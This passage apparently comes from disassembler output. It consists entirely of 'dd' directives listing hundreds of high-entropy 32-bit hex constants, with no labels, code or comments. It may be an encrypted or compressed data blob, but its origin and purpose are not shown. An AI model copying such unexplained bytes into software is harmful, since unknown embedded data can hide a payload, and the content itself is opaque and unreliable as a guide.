		dd 1E24CAB5h, 1C645E35h, 5CB6B319h, 9B9C3357h, 0D2D0AF03h
		dd 705DC92Ch, 9A93368Dh, 0F8505B63h, 856D9CDDh,	1728193Bh
		dd 9D4F291Fh, 5BE2ED5Bh, 0C470D9BBh, 778F13ACh,	75FF8196h
		dd 0BDF55242h, 0C7E72A42h, 0BF7316D5h, 534B39B4h, 27880277h
		dd 6D2D0676h, 7607C0EEh, 0C6B9F873h, 0D1DACC18h, 5189480Ah
		dd 0C79B73D8h, 5420FEA6h, 0E6217B7Ah, 2A3E5B45h, 0F2C3ED87h
		dd 0EA9BFE82h, 0BBBACD56h, 478C27Ah, 29FB0C6Fh,	319B5BB8h
		dd 90191D39h, 0A696068Dh, 5050EC73h, 1D406207h,	0E1C73BB7h
		dd 13966FE0h, 6E023E5Dh, 1DC6D662h, 48065886h, 7076FC9Dh
		dd 0F4E65A90h, 0A43F7D7Bh, 7C5E1873h, 0BCC2DA90h, 9813F623h
		dd 7AD4D960h, 95C4C360h, 0FF58EF58h, 0A9F43C01h, 0A1728957h
		dd 426E27E0h, 6DC39F45h, 0F778745Bh, 48534DF2h,	5C82F465h
		dd 4A01134Ah, 4D6EB996h, 0DFC32FCFh, 0DE9702DDh, 889D798Bh
		dd 98D10E3Fh, 0AADC7A89h, 68D95AE5h, 64888041h,	0E97A03AFh
		dd 0F42075F5h, 0E263E2B5h, 2773B058h, 812EFC51h, 7EBA2E08h
		dd 0BFAC3B2Ch, 177C16D3h, 6F7FD8FCh, 0E0438480h, 0A838D483h
		dd 0B8E08991h, 4C283838h, 0B4C7AEABh, 0D1FB7BEh, 0C3794542h
		dd 2BDC68FFh, 0A84D0129h, 913C2C33h, 0AF314E99h, 6A0A762Ch
		dd 6E5930DFh, 7B7DA9BCh, 4606176h, 2DE4F9D7h, 1B669BB3h
		dd 0D91F08D4h, 7B69B5F5h, 42F9B7B3h, 619AF20Ch,	762F576Bh
		dd 0DAE36772h, 8019D5DEh, 4D56B1DCh, 0C7E68732h, 3B8B2274h
		dd 0A3D2FDD6h, 1FFCC2A7h, 0B37D2297h, 9148950h,	0B58DA33h
		dd 0A09BF8C3h, 6B79ED0Ch, 0A73D84E1h, 655DBAD0h, 1FF511BBh
		dd 0C93FC4Eh, 0FC9D491Eh, 3F4AC604h, 0B5DDBB7Fh, 0A6F5D4B6h
		dd 0AB847FF3h, 0B5511889h, 0B577E826h, 9EB2AE06h, 0CAE1D050h
		dd 0D1833F92h, 6DC9116h, 0FBA712E4h, 491CA5C2h,	9E4C5F6Dh
		dd 0D7FB315Eh, 0DFA62D8Ch, 0EC9C4498h, 2BA0CBECh, 0AC0836Ch
		dd 0C908826Dh, 0F7799B9Dh, 0D248B0D9h, 439CB47Ah, 66C91094h
		dd 0B0C51603h, 0E6C32223h, 94FADDDCh, 0CDC87BE1h, 0E5AF3D5Fh
		dd 75DC2DE6h, 1C6B23E2h, 45A7CF02h, 0FB3995EEh,	0E133CC00h
		dd 57FC9D65h, 0D105B710h, 40963E3Fh, 8AA24B44h,	1B8AC8B8h
		dd 0A9CA587Fh, 9E3E92CBh, 85700992h, 8A31F7BBh,	8CC1386Eh
		dd 1CBBD96Bh, 0D2D97732h, 5E6BE4F9h, 0D4FAC900h, 0B13D3618h
		dd 0E8877C5h, 62BCA1A8h, 0B7614D7h, 33AEE0B9h, 2C1987B2h
		dd 282A1112h, 51916F71h, 0C3470FAFh, 0ED4CC498h, 0F7BE0028h
		dd 4897C477h, 0A59D032Bh, 2DF3B2A2h, 0F8A11955h, 28F55985h
		dd 2D7FCED6h, 0FFBB1068h, 0D037B96Fh, 789F75BCh, 329F606h
		dd 5FA42936h, 27573B6h,	0F41048A7h, 0CE23A0E5h,	87676861h
		dd 1F5D1639h, 28974964h, 81E921Fh, 4F3CFA48h, 0DB7D9299h
		dd 0CFCC9706h, 0A31BD8CCh, 38579C36h, 7629925Bh, 0E49E1EACh
		dd 0FF338D0Ah, 923DB5B1h, 0A4F52430h, 0DFF74127h, 4BAD8B3h
		dd 6968BB6Ch, 2F9616C9h, 0E98E30F8h, 0C9CD74A7h, 2CDC36DDh
		dd 5A5F1695h, 8F4F414Dh, 0A30BE96Ah, 0B1F19DCCh, 0E2200A38h
		dd 0A7CC9728h, 90A8DA55h
		dd 2D7003E2h, 24A39F40h, 0B509089Dh, 0E36FE88Ah, 0B0E2BD41h
		dd 83ACE593h, 0EDD7AC1Eh, 0AC25228Bh, 0F546A4F7h, 0C2BE75Ah
		dd 0B8D05BD2h, 5EB36D84h, 3BC4AD8Eh, 2B47ED32h,	59072916h
		dd 3AC485D9h, 552EFD95h, 823C71FEh, 9E8854E5h, 0C3832C4Fh
		dd 2F273729h, 39EC07C7h, 0EC82B11Ch, 0DA304B13h, 111535B7h
		dd 0E48B493Dh, 956E53F5h, 9854E3CDh, 0A358EC1h,	2F361017h
		dd 34DB28D1h, 63B3D8E4h, 8FE191CDh, 0F3D79BEDh,	78C5AAC5h
		dd 9735C9DEh, 86A263B0h, 76843A25h, 1484452Ch, 4BD9820Ch
		dd 0BE75E884h, 2E2AE662h, 9E963A2Ah, 9378774Fh,	0B07BC4BDh
		dd 406A9693h, 54816245h, 0F6B9BD95h, 140D4C0Ah,	0A906497Ch
		dd 0B7BE098Ch, 6872A7B9h, 4CDB67D3h, 0B267374Fh, 89428E17h
		dd 0DA41B8A3h, 15785A71h, 8D3765E3h, 0FA8ACE42h, 59105571h
		dd 0F6947F48h, 0BCB5ECE5h, 0FCC3EA8Ch, 0A2A2399h, 7C0D6679h
		dd 56F2E34Ch, 853C2858h, 9069D9E0h, 288A703Ah, 1EE2C119h
		dd 8EA84B7Bh, 0DB5DF876h, 0BB215482h, 1B0E11DDh, 1A707C16h
		dd 0F0128BBFh, 0FFF20F45h, 3A2528E4h, 1DC798A9h, 0AF53A10Ch
		dd 3C3032DEh, 373D6E7Ch, 0B079712Dh, 761A0A46h,	1F20A709h
		dd 95C90D59h, 0E29248BCh, 6D609AB0h, 241BE354h,	629E3CD7h
		dd 0EF575285h, 2ABDBB9Eh, 6C1E4128h, 0FF77EAC1h, 6FB412C8h
		dd 0E7ACA4EDh, 72EE29FAh, 0D0759AF4h, 0B1812AFBh, 0FDD93985h
		dd 0A764DD73h, 19371638h, 521B660Bh, 98A5417Fh,	0CA56D86Bh
		dd 838A7E77h, 0C82C23B8h, 0B28661C7h, 0FB270A4Fh, 72B66AE9h
		dd 0C0D0DA5Dh, 736BDA5Ah, 7F24E356h, 5100DF18h,	31446EBDh
		dd 0E69529C6h, 334AD8EBh, 0B83D83DDh, 0CC31694Ah, 0B4C55364h
		dd 58EEBF7Eh, 6267DDFAh, 612402FFh, 98FE020Eh, 7287C077h
		dd 75F40BB9h, 0FDCA746Eh, 0E626458Eh, 0F316D16Ch, 4776E8E2h
		dd 0CDB0FD09h, 0FDD8E9A7h, 0CE0728CCh, 6ADE7D11h, 1C354335h
		dd 0FE807E5Ah, 34747D11h, 9211F79Dh, 0F725DC00h, 0B418A832h
		dd 0BCF89612h, 50C3B881h, 47888637h, 95F0C86h, 0F8AD0197h
		dd 15A2082Ah, 69566ADDh, 0B06EC7B8h, 0B44E5E9Fh, 0E80AABE5h
		dd 6A51C4C7h, 851D9838h, 2BE111h, 719F1B61h, 26D01378h
		dd 4D96257Bh, 0E233FFC7h, 4B7C14Eh, 59F7FA18h, 0CBE5E0F0h
		dd 0E5D88223h, 9FC61311h, 33868976h, 0FB9DCEDh,	0C972132Eh
		dd 8225B1A9h, 7DA3D0F2h, 0E72AEC36h, 5DA9D9E3h,	3671172h
		dd 3CB74BFAh, 767F368Fh, 40C2BB1Dh, 71E96EA3h, 0F056E61Dh
		dd 1C22440Fh, 48E920F4h, 0D60D7743h, 0EDE1337Ch, 137DDD36h
		dd 547AF3D7h, 584CD6B9h, 499A9627h, 0FF327075h,	26D7C9A7h
		dd 0AC43650Dh, 0D358D5F0h, 0E0D5D5D6h, 0C73E4FF2h, 6E93AF7Ah
		dd 0CF58862Fh, 0ADD819ACh, 0F40EE78Fh, 5D338E18h, 0D6925070h
		dd 0E7129E73h, 710ACEE4h, 0DBAB30A0h, 0B3053EBEh, 0BF3D1D6Ch
		dd 7BFD5B61h, 3679B183h, 0CD6592B0h, 0D0A0A0Ch,	3E6F3406h
		dd 93A1280Ah, 384F13Eh,	1553D3E9h, 3ADF333Dh, 0DA2F5E5Dh
		dd 70E1C25Ah, 0EC8C283Ch, 37D593A4h, 1D10A569h,	488564Fh
		dd 22CE4249h, 303C035Ah, 89EFA766h, 0EFB87F01h,	0CB91E4A1h
		dd 94DF0DC0h, 5FE76A68h, 6F8A2381h, 6F8786B2h, 2501D189h
		dd 0A4ECE37Ah, 484FD22Ah, 0BBA581B5h, 7C21305Bh, 0DA4E63DAh
		dd 0AE5AD241h, 81C17AEh, 0CD93B705h, 876B4725h,	0FB925006h
		dd 0FED5F37Ah, 0DC3C3A1Bh, 0C639C6D0h, 809032Bh, 196318A2h
		dd 0D0489BF4h, 8995F0ABh, 85078195h, 50083673h,	0B3C58161h
		dd 5CF7DC35h, 292DC49Dh, 0F015835Dh, 0A0FBA675h, 0D81FF199h
		dd 9EA53C07h, 433E70EFh, 9D1A8D3Ch, 751B7865h, 8CE8B0F8h
		dd 47374A69h, 3B77C3AAh, 577B0577h, 0F48FA93h, 0D2311445h
		dd 9090599Ch, 3948F176h, 0C151B187h, 4F3E47DBh,	0D2FC9A39h
		dd 0EC2BFDC4h, 0FB244642h, 6BBE8AD1h, 4D874C0Bh, 0A9B6916Dh
		dd 0B89A25AAh, 5D67FF54h, 82BE389h, 678E6A4Fh, 0B55A8276h
		dd 2D733FF2h, 36C80957h, 0CA907688h, 932EF996h,	685FC88Ch
		dd 30147A0Bh, 0E1A6F666h, 3566198Eh, 773693A3h,	0E4223C92h
		dd 14CFC64Fh, 0AF9D38FFh, 639FC728h, 70871CE6h,	71361A59h
		dd 0E6C2BB7Bh, 7A5108EFh, 0B200F400h, 7E620987h, 0FE84EFD6h
		dd 9524CE6Bh, 3C48939Eh, 2DF5268h, 0C3634E4Dh, 65EF0DFBh
		dd 38B3642Dh, 9F39853Ah, 7614FC37h, 0E823424Ch,	12362090h
		dd 1D3E6C9h, 0CA788870h, 0DF008E94h, 6C471473h,	0D9C85633h
		dd 2ED2945Fh, 2846E2B9h, 5144CE76h, 114D0589h, 0DFB942D5h
		dd 8AF54BFDh, 0B6713357h, 226473C2h, 6D0CC36Eh,	5B3BA921h
		dd 0CB30C133h, 28E6DA16h, 2F895292h, 0BA57E719h, 7123618Ah
		dd 0EF378150h, 0D417CD8h, 2C29C81Bh, 0CA55B06Eh, 0E9B6DEF8h
		dd 668DB9EAh, 0ABC84901h, 3C0ADCF7h, 7692A3BDh,	0E6444F22h
		dd 0E4A3EB36h, 1DAC158h, 0FF0F4C26h, 0BD825A8Bh, 1A84C859h
		dd 824E90C8h, 7A1915F6h, 519700BCh, 5E92B004h, 5C808A7Fh
		dd 8FD5C773h, 9B439F4h,	0FA0DC5C0h, 0ED3824C8h,	3940C400h
		dd 5D46505Dh, 0FC88A411h, 8EDC8703h, 0F530CE59h, 77B8A4Fh
		dd 0AEA28FE1h, 25AAF54Dh, 0F8E586AAh, 8CCF509Fh, 0B02379E0h
		dd 43893C9Bh, 4959F930h, 3BDE2822h, 0CD20538Bh,	0E7B72283h
		dd 0F33AB739h, 3F22522Ah, 285710Dh, 0FAC4D91Ch,	45AE2B08h
		dd 29AB6DD9h, 7268E498h, 3AE7A258h, 4C27D2C6h, 0E0FDBA73h
		dd 53566911h, 0C6BC12EAh, 0A411FF01h, 0BEC7D182h, 7FA44915h
		dd 853C0824h, 287A4AF7h, 9DD8A5F4h, 0EF51DC29h,	9490E65Dh
		dd 0F4347728h, 9AF66921h, 0BD50E04Fh, 4B0CC229h, 761ABCBEh
		dd 49E19847h, 21D37670h, 0A9B12A5Fh, 0A772A9DCh, 0CD2DBDBh
		dd 89CE86C7h, 3125B364h, 2AB65AACh, 98F1EDE1h, 15E96758h
		dd 17C92A0Dh, 8157FCD5h, 56F662A2h, 208D2375h, 9870B939h
		dd 0CCDB2A7h, 62CC4CBBh, 8260D0EEh, 0DD621A6h, 0D0982E75h
		dd 7FA49C0Dh, 45146A51h, 795D8EB1h, 0E1A0AF1Ah,	2A32943Ch
		dd 0E78182F8h, 0AA6DA16h, 3950CD17h, 297EA91Ch,	5EBA9904h
		dd 2D4A2DFAh, 251EB4E6h, 571F078Ch, 0FDEB1ADFh,	0C8F7FC3Bh
		dd 5F6F4860h, 32330521h, 0D4FAF586h, 625A5911h,	2F50243Bh
		dd 0E0344D89h, 0FDEDA0D7h, 0F63CD4FCh, 786C594Eh, 86ADC42Eh
		dd 1A787A93h, 688ED10Ah, 575BE0A5h, 49A4B687h, 0B2CD1BD7h
		dd 563559C9h, 51FCF684h, 0D777F2FAh, 0B1A17A87h, 60733C3Dh
		dd 1EC9334Ch, 0FAAC9D51h, 97DCF3BCh, 33F98522h,	0B85429DCh
		dd 78A3B7C2h, 0E3FF5A3Eh, 0BC34FAFBh, 7D7C80A1h, 8E0EB5CBh
		dd 9DF4761Ch, 94146AF8h, 195F22EEh, 0FE470F67h,	769E176Dh
		dd 0D038D862h, 62812CFDh, 0BF0E2E7h, 0DBBAF63Eh, 5C7E5B88h
		dd 0C660A6ABh, 0A05F68E5h, 0F03E1FD7h, 3E96CE55h, 6BDE2B7h
		dd 7078BA2Ch, 0E1DA396Ch, 8A71A8F0h, 379D3C3Bh,	9E320746h
		dd 2CC825F0h, 3E4F804Ah, 0DB2331E8h, 94F97A01h,	0CAD94E42h
		dd 56CE5BA1h, 6D2BCFBDh, 9C34A8D4h, 0BC72A3F1h,	98ECD97h
		dd 29457BCFh, 9777E58h,	9AF532C9h, 0CF781515h, 87A837F2h
		dd 607A12B4h, 2EA99DBAh, 783373D7h, 0A0EA7C62h,	0C55D74E6h
		dd 0D62334A2h, 0D76152Bh, 0B06D5C3Dh, 6F94992Dh, 97EF20C6h
		dd 46079347h, 70CAC2BAh, 8AEBDF4Bh, 0AA05E2E6h,	0D2A17940h
		dd 0C2433455h, 5B62D658h, 8D4530A4h, 1F9CD9B0h,	3916FADEh
		dd 6810231Fh, 3534FB6Ch
		dd 0F8FF97C7h, 75DACD8Bh, 0BB888A24h, 0E288DFE2h, 0AEE08875h
		dd 5404E109h, 0CC39CD85h, 0A8402A37h, 0DD97E297h, 2E533946h
		dd 808DC44h, 56C01940h,	0C41A7677h, 0D2A81C25h,	0B91FBED5h
		dd 0C86E0439h, 0EF680D47h, 0CDAF1B9Bh, 82F96454h, 5A09BA27h
		dd 7975C38h, 4DD34FAEh,	4A800EC4h, 84F95570h, 0A5E5BD98h
		dd 15A5BD3Fh, 1B88C16Ah, 40D1F616h, 9A0F23FCh, 0F4DD7C52h
		dd 10EACE98h, 0BE38BCE6h, 6CE6128Dh, 85EB8A3Eh,	0FAC7DA0Eh
		dd 430BA639h, 0F49E1E27h, 0FD95CFDEh, 3E60305Ch, 0BBD4E9BCh
		dd 82828762h, 55023FFh,	0B4CF295h, 2C3C62C1h, 3142314Bh
		dd 2BD2DD46h, 9BAE07C0h, 0E6B46AA2h, 4191AA5Eh,	40858ECCh
		dd 0ACB60509h, 57B6CFF9h, 0EE5E59F6h, 5BA64B21h, 0C4962853h
		dd 0CA8E5EA2h, 129DFB96h, 5B93AD03h, 965D0F59h,	0D3610744h
		dd 0C34A1C5Fh, 3DD0B6FAh, 0EA1C95FCh, 0E329B5Ah, 8007651Eh
		dd 0FA4FBE35h, 0EF23819Ch, 0D51E1EA8h, 22EF0FB3h, 0C8A99848h
		dd 3EADAC9Dh, 9D30B71Bh, 0DE823ADFh, 5FF4995Bh,	0E0A3B90Ch
		dd 3E66CF1Bh, 0D8840AF7h, 76637E3Fh, 4FB7915h, 447F6ADBh
		dd 153C8F71h, 4DBA55D9h, 4ADB294Ch, 7420F47Fh, 0BFF8F916h
		dd 2255B932h, 0E2811C83h, 6BAFF1ADh, 0FF06A641h, 0BB74C0EAh
		dd 169E74E1h, 0B621CD8Ah, 71950308h, 25C6A3FDh,	2AB039FBh
		dd 4ABEE14h, 0CF6F245Eh, 98439F4Fh, 0D93F9C30h,	10ED8396h
		dd 19EC673h, 78354E68h,	13CF549Eh, 0EC79F492h, 0FBB512FEh
		dd 18D96CC3h, 0E1A3B770h, 423DA3BFh, 0B455EFEFh, 9182052h
		dd 0ED1DE205h, 0A5E856ACh, 0FF0B0B74h, 0C5CD9DB1h, 0A79CCEF7h
		dd 3DE6390Ch, 8479FBFEh, 438819C3h, 0FEDDE3C4h,	0EBB490BBh
		dd 0B050E073h, 1D619971h, 43C7F717h, 5157041Bh,	0C187E746h
		dd 0BAB1B80Ah, 808C1730h, 4C6D09D6h, 777242FFh,	97A283C0h
		dd 7623969Ch, 0C1D1FFD3h, 248BCD7Fh, 7160C46h, 0AF5D91A8h
		dd 0D9176064h, 0AA412ED3h, 69B0E2BDh, 0B3E74E4Ah, 8F79872Eh
		dd 9A578460h, 61C46C09h, 1D26163Dh, 0E9E7E23Ah,	0E61B5D2h
		dd 1C78DCC5h, 0ADEE6D1h, 4A02ADFDh, 0F2023FA5h,	8E72155h
		dd 64611FA6h, 3F3E4123h, 0CD371C47h, 936E229h, 1C716FC3h
		dd 31B9AA49h, 0B976FD2Ah, 67E81D48h, 5170CEE3h,	70BD7D97h
		dd 36769746h, 342389E3h, 48822792h, 6BB4AB09h, 0C27E86D7h
		dd 237D1F40h, 0D892E036h, 0FA406B6Ch, 5C4DC48Ch, 9A26380Bh
		dd 790BF371h, 0D7069BE4h, 4EF6AE93h, 0BA0BA503h, 28362D34h
		dd 5CA41751h, 6786CC36h, 397E890h, 5361BDEAh, 67B3AEEFh
		dd 8F200D4Ah, 53D40746h, 75CEE439h, 0D4608B8Ah,	0A4687665h
		dd 2F33842Fh, 13747014h, 6FA4168Eh, 50CE3A9Ah, 723E762Bh
		dd 2B3DCA99h, 0F11C5EEDh, 0C5C6B4B7h, 56670F4Fh, 0BB57305h
		dd 38AE2F16h, 0E8BFC3DEh, 4BA8EEEEh, 0F77B9233h, 0CC078D81h
		dd 51AC343Eh, 0A994B23Eh, 1636373Ch, 15A051C3h,	279F10BFh
		dd 66BE0991h, 7B3893DFh, 0AA7EAB7Dh, 0C1A21FCh,	0E6CF6460h
		dd 2738B248h, 0EDF9AE5Bh, 8099887Eh, 757FB4F2h,	9A47AA85h
		dd 0ED372DBDh, 8DD2742Ch, 481A8AEFh, 53F407C3h,	0F2FF48F6h
		dd 269CCA1Bh, 0B6AEFD39h, 6CD4A7A6h, 6F2B8520h,	592C3C86h
		dd 9D72EFBFh, 27BD54A3h, 7E62300Dh, 44993BEFh, 56AB2632h
		dd 0E150327h, 0BB2EECC8h, 1072BA67h, 26A32C0Dh,	1F781CF2h
		dd 0B5CBA428h, 0C211EFE0h, 2849C7DEh, 0C337AF46h, 0C38ACF53h
		dd 4C26C71Fh, 0B065EE41h, 264C886Dh, 0A750F3C8h, 0B5085291h
		dd 465BC1FCh, 86C03CC2h, 46E1084Eh, 0BE22189Fh,	36674AE5h
		dd 0ACBF709Ch, 957C7526h, 38788998h, 824F92C5h,	0E9CBBA79h
		dd 2A2873FFh, 7E4E1EC4h, 9A61750Ah, 57B44E76h, 5D71D07h
		dd 0A1361F9Bh, 0FF12B85h, 0F844CDB3h, 0EF9FE3EAh, 353BADEEh
		dd 3E963924h, 0CE36390Bh, 89B4B573h, 0D20FC8E6h, 0ACCE94Dh
		dd 0F948CCB2h, 0B4E583D6h, 36209BD7h, 0EB6AE0C8h, 0CF4DEA58h
		dd 7A091A9h, 0C4499A83h, 0D556DE9Fh, 12D8CB1Ah,	39CCB7BEh
		dd 0CD67BB1Bh, 66E4DBE2h, 0EA78FD5Ch, 411324A2h, 1FA16AC3h
		dd 62FEC9EAh, 33EE93DBh, 5E8DC83Dh, 8A644CAh, 67F6D09Ah
		dd 0B5CF567Ah, 0B8DC1A6Dh, 92B3DEDAh, 14E3F8D6h, 7C01E8EBh
		dd 4A6A2073h, 0D9D5C2ABh, 5EDEC3B9h, 5257D12Ch,	0B815D9DEh
		dd 28D8B198h, 0CDF2F9ACh, 209B93A1h, 0B04EE46Ah, 9B752FBBh
		dd 0B710C81Ch, 687885C5h, 97D11DD5h, 98C09467h,	4101002Ah
		dd 19488AC3h, 15474AB1h, 20741457h, 82ECC181h, 8E495A55h
		dd 814697D0h, 14B092D9h, 360E771Ch, 0FC8791A6h,	0A503504Fh
		dd 81B38451h, 4CCA30A7h, 190AEAC0h, 0EAE412A2h,	9525F96Bh
		dd 0C4002B3Fh, 28A0746Fh, 93B203CDh, 0DABADEE9h, 9E8A6998h
		dd 497EF747h, 6AB645Eh,	0B89C536h, 98B32E89h, 0D4ECA9EDh
		dd 0E9E7789Ah, 0D09E26E5h, 0A60E1622h, 98B7F1B4h, 3A5CB2F4h
		dd 1BD5E1ABh, 0B2B1E71Ah, 0C34B47F1h, 0D94B57C1h, 93D37077h
		dd 45B26EDEh, 0F2358AD2h, 0A025F56Fh, 1C80B1EEh, 0CA68934Eh
		dd 0FC30B50Eh, 295185A9h, 0E9FFBDEEh, 8E3B7DA2h, 2DF448DBh
		dd 0D39FA571h, 0AFF24B8Ch, 0F84B3AC9h, 0A6166A47h, 7EB58D33h
		dd 0C57757FCh, 0A8015C1Dh, 9B58709Fh, 0AD8612E7h, 144E49C7h
		dd 0D97D74B9h, 0F6970FFDh, 8056EE89h, 0F9381083h, 300DBBEEh
		dd 7EBD8C31h, 0F7B35F70h, 0EF2291E6h, 5AAFA722h, 2BABC314h
		dd 84874620h, 0F3D400F1h, 0F698493Fh, 5A75B212h, 0B0AAAEDEh
		dd 22D7E1FEh, 3EBA7EBh,	999D8922h, 23380C96h, 622165CBh
		dd 927E50C0h, 367777B8h, 0D8D08BA5h, 7F9DDD43h,	4D8E0DF5h
		dd 0B6F95A13h, 0C6EA5D00h, 359A48FEh, 0C417AB25h, 2F861F88h
		dd 2B71EFF2h, 535C6AE0h, 1F164852h, 0D8DF5CBh, 4C5E2FE5h
		dd 78F721A5h, 0CCA5FF57h, 9D1FC20Bh, 2B86664Ah,	5FE4F5A0h
		dd 1056DEA0h, 2A770D1Ah, 0DF76D18Fh, 9686DCD0h,	33726247h
		dd 0C7011A23h, 367CE672h, 0E2E128DEh, 0C66E9F88h, 0C1CE7EC2h
		dd 40327666h, 7D91DB1Ch, 2E68BADCh, 0AE3C682h, 52A476ABh
		dd 0F842B9EAh, 0B1C08523h, 8820A6FBh, 0CB3990DCh, 0D675659Bh
		dd 29402B91h, 793AD431h, 0E593FCBEh, 95950564h,	0BD85231Eh
		dd 0C22C137Fh, 2391DFA7h, 997FBD28h, 32B71B99h,	7ACCA997h
		dd 0EA7B32CEh, 6B5724B5h, 0C106D53Bh, 0A04138F0h, 68FC23A3h
		dd 0E714BA10h, 0E594A607h, 15E20C95h, 8A3E6F7Dh, 0FDCE8BDBh
		dd 83178720h, 0E13B5006h, 0FA883EF0h, 492EB8Ah,	2CB00EB7h
		dd 61B66633h, 0D04FB80Eh, 5A8309A6h, 0D5C51D76h, 0C4727C89h
		dd 201EEB62h, 0F380FACDh, 0D6A41E7h, 803E6623h,	0C3D6B8D2h
		dd 0DF76D64Ah, 56818686h, 0B82E6ED1h, 0EAFA05F6h, 0CB85A5DBh
		dd 0A7F0D1ECh, 28DFB566h, 0BBAD7497h, 3B7C5B84h, 0EAF76FFBh
		dd 0B4F32C17h, 0A07D2B50h, 0C42CBCEAh, 665CD370h, 0B09E04FEh
		dd 0DDC8ED6Eh, 14C0E619h, 0E733ABB5h, 0D5953950h, 0FCCC5C21h
		dd 3CECE74Eh, 4BE9B90Eh, 96100D37h, 838FF315h, 758D49C1h
		dd 0B6670078h, 897FADA1h, 25B43075h, 268FDF26h,	0AB23E449h
		dd 86F17795h, 40B03DE5h, 0F87AA4CBh, 52DF1240h,	0A76F027Ah
		dd 6C2D2832h, 0AA560E23h, 0ADFA19BEh, 87F0657Bh, 0F490274Bh
		dd 0D1281CE8h, 0E5ED8697h, 63BCAECDh, 531C7BFEh, 30FD6760h
		dd 0BB1AE8E4h, 0ECC021E3h, 0BAE3A9F2h, 39ECBB67h, 7F07DDE7h
		dd 0C00A03EDh, 4D879F61h
		dd 0AA4E2187h, 603EB4ADh, 986C3A9Fh, 0F0E916FDh, 557180E0h
		dd 0A491B4D8h, 53812BCh, 62F306F5h, 4810952Ch, 0FC2B052Eh
		dd 3880A925h, 0F4F7EFCCh, 0D50F9697h, 0AF4B57ADh, 48B4D0F1h
		dd 0B397FC02h, 0FF4FD0C5h, 8C3C40C4h, 6841C3DDh, 0EB07C35Dh
		dd 9FC0D3E1h, 0F625607Bh, 0A603809Ch, 5F882B85h, 2C2D9799h
		dd 2CAA65D0h, 0F0B1EE10h, 72B1BAF1h, 469AD731h,	0E63BE55h
		dd 30B13C2Dh, 35F9F360h, 97A3B72Ah, 0FFDAECD5h,	0F385C454h
		dd 96275D54h, 0F10E002Eh, 564CC339h, 16B6D163h,	0D99CA647h
		dd 3768A45Fh, 0A9350571h, 0CE45906Fh, 0DECC30F6h, 334E45FAh
		dd 553DA71Dh, 82ADE8D1h, 0ABEF5F68h, 5A44395Ah,	67CD3E5Dh
		dd 0CDDB84B4h, 0AECD7224h, 0D17F3A65h, 0E00AEDD4h, 92AB7C35h
		dd 0C0DE0C15h, 0AC874132h, 99FCE370h, 0C638AD73h, 3BDEBF07h
		dd 622F40BFh, 91996DABh, 6718FCA8h, 5EE9D51Ah, 9050613Ch
		dd 703F9A00h, 0A0519CDh, 0C83609B8h, 0D96D46B0h, 0F92383C2h
		dd 3E693CC9h, 9A01A8FDh, 0E87E2DAEh, 7F842DE3h,	0C48B37A1h
		dd 0DE8584ADh, 72F93DBEh, 5AE9D45Eh, 16457A58h,	25A63B6Ch
		dd 0A4A66613h, 0C85DA401h, 209672B0h, 209A015Bh, 6EDDA62h
		dd 0CCCA8A22h, 659BD4CFh, 6CE1805Fh, 94E6037Bh,	31A24559h
		dd 2577A337h, 0D8E9FBC7h, 8D165A00h, 9A85A3ADh,	284E89h
		dd 0B14EB4B4h, 2CA40F77h, 17CBBEBDh, 0EC6BC1FBh, 6F56F210h
		dd 0BBD923F8h, 0EB864A67h, 23FCA250h, 9630EF48h, 97F8CEBEh
		dd 44FE3260h, 0DFC661A7h, 0D43618EDh, 76A2FB5Dh, 0BC05E244h
		dd 0EDDBC0CBh, 0D605307Bh, 485AFEFh, 0E9D8F1F1h, 2F17A8E5h
		dd 0D25F9675h, 0D0DCF945h, 17716270h, 13AD3993h, 0F63FE249h
		dd 0F118C082h, 101D35E1h, 2F936A26h, 0A6DBE693h, 0CB83C13Dh
		dd 8955DE4Bh, 13A377F5h, 0C6C6A1D9h, 0D462517Ah, 20623FEh
		dd 0DCECDF4Dh, 0EF3A5EFAh, 57C93B51h, 0BFCB3B71h, 2F39C4EAh
		dd 0CBCACE5Fh, 5C0481AFh, 7A0346EAh, 0E7B08D51h, 0ECF065D8h
		dd 1B677C81h, 0DCEB8337h, 23CAB456h, 0EC161228h, 93E59EF7h
		dd 0F9E03010h, 304E4561h, 3BFFCACCh, 1BFF9747h,	0B375DCC8h
		dd 642E82DEh, 0B9FDFDCDh, 0EC5A2C35h, 47C1DBDDh, 5B6A3510h
		dd 58A3D48Ch, 4882A21Ch, 0B04D6C4Ah, 899189B2h,	0F4C5246Eh
		dd 28D70849h, 23097C3Bh, 0CBA036B3h, 0C4D603C2h, 0EE17C1C7h
		dd 74EF19B5h, 0A2B980CCh, 0C54A068h, 0E7E7DEB5h, 0CEE300F9h
		dd 0CAE7A021h, 0B95B8DC7h, 1782FD4Ah, 5FCE0445h, 49696511h
		dd 67F55DDDh, 0B09C7558h, 67685D73h, 0D11B702Ch, 5B239B9Eh
		dd 79DA9302h, 35F7023Fh, 61CD560Fh, 0EED5EF0Dh,	231689A4h
		dd 470D0DF7h, 0C4FF6C7Bh, 0B7E82B7Ch, 29336256h, 0C9DE964Bh
		dd 0ABD9F4D4h, 63748013h, 0FA97C389h, 42254DE0h, 8603C528h
		dd 2B2E9FFFh, 9F9CFC3Dh, 6F2E0CC0h, 3021E34Fh, 0BC7F11FDh
		dd 5621C5D9h, 7D9B8868h, 8C01D76Bh, 7FA06828h, 0C314C787h
		dd 0BB63B0C3h, 36F4E990h, 4A9F75D1h, 0FE849A17h, 210AF230h
		dd 2F0430F1h, 853DC88Bh, 0F04B80C7h, 7D18738Ah,	0B828DE30h
		dd 96F2F725h, 0CA8FD80Fh, 28F7971h, 0AFC6FAE8h,	0D4520ADFh
		dd 558D62C7h, 0C7B9F692h, 838206C8h, 49E092CDh,	6472E1E7h
		dd 34A8F020h, 2BCF9749h, 11C33D25h, 62C1CA5Ah, 6662C30Dh
		dd 13B478B1h, 23C9806Eh, 47F6E8C2h, 0D22ACA7Ah,	7BCFD90Dh
		dd 0F99B657Fh, 82BC8461h, 8D823D83h, 2F6A314Bh,	0B68539DFh
		dd 6B6BD356h, 6D385535h, 7E134A35h, 0B9A0EFA5h,	0D08875D0h
		dd 442A51B5h, 0EBCF1C54h, 0CF77405Ah, 0ADF0E45h, 0D2C48F7Fh
		dd 0D014913Ah, 0F0D51563h, 0B4948918h, 8D1BCDD1h, 0EB080F13h
		dd 1EBA6F27h, 0A45C1487h, 7DAF9B4h, 0C62E856Ah,	0F666EAB6h
		dd 0EA60B6FBh, 9A73DCFEh, 260DAE35h, 0D4780E1Eh, 1095BC41h
		dd 14FD2164h, 65618D9Dh, 0CA7BC1D7h, 7A78D1D6h,	626AF3EFh
		dd 38099D82h, 956B66Dh,	0E87710F8h, 307476B5h, 0CF5C9BB4h
